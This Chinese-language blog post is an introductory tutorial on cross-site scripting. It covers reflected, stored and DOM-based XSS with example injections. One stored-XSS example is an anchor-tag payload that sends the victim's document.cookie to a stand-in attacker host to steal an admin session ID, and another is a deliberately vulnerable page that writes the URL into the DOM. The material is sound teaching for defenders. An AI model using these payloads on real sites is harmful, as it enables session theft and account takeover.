当前位置: 首页 > WEB安全 > 正文

XSS攻击入门

一、前言

XSS表示Cross Site Scripting(跨站脚本攻击),通常指攻击者通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击过程。它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在XSS攻击中,通过插入恶意脚本,实现对用户游览器的控制。

二、XSS 是如何发生的呢?

假如有下面一个textbox:

<input type="text" name="address1" value="inputdata">

inputdata是来自用户的输入,如果用户不是输入inputdata,而是输入 “/><script>alert(document.cookie)</script><!- 那么就会变成:

<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行。当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器。

三、XSS攻击的类型

第一 种:反射型XSS(非持久型)

顾名思义,反射型XSS攻击就是简单的把用户的输入数据“反射”给浏览器。也就是说它是一次性的,仅对当次的页面访问产生影响。这种XSS攻击要求用户“点击”一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。其基本就是与上面的例子相似。

第二种:存储型XSS(持久型)

存储型XSS攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

session背景知识

我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

在此,以一个类似于有admin用户与普通用户的管理系统,攻击者用普通用户登录,在输入框中插入下面的内容:

<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">s0nnet</a>

攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 “s0nnet” 的用户列表将显示,如果 admin 用户点击 “s0nnet” 时,在 “attacker-site.com” 所在的服务器上,攻击者就可以窃取到 admin 的session-id。

有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可。

第三种:DOM Based XSS

从XSS攻击的效果上讲,DOM Based XSS与反射性XSS一样,只不过其攻击的形式不一样,所以特地划出来。DOM based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。首先,解释一下DOM树的概念:

dom_tree

DOM就是一个树状的模型,你可以编写Javascript代码根据dom一层一层的节点,去遍历/获取/修改对应的节点,对象,值。有关DOM更详细的说明可以参考:http://www.w3school.com.cn/htmldom/index.asp

DOM Based XSS是通过url传入参数去控制触发的,通过修改页面的DOM节点形成XSS。它由于浏览器解析机制导致的漏洞,服务器并不参与。

考虑到例如下面的HTML页面:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

通常这个页面作为用户欢迎页面, 例如:

http://www.vulnerable.site/welcome.html?name=s0nnet

然而,攻击者发起的一个请求如下:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了XSS。

 



这篇博文由 s0nnet 于2015年05月21日发表在 WEB安全 分类下, 通告目前不可用,你可以至底部留下评论。
如无特别说明,计算机技术分享发表的文章均为原创,欢迎大家转载,转载请注明: XSS攻击入门 | 计算机技术分享
关键字: ,

XSS攻击入门:等您坐沙发呢!

发表评论

快捷键:Ctrl+Enter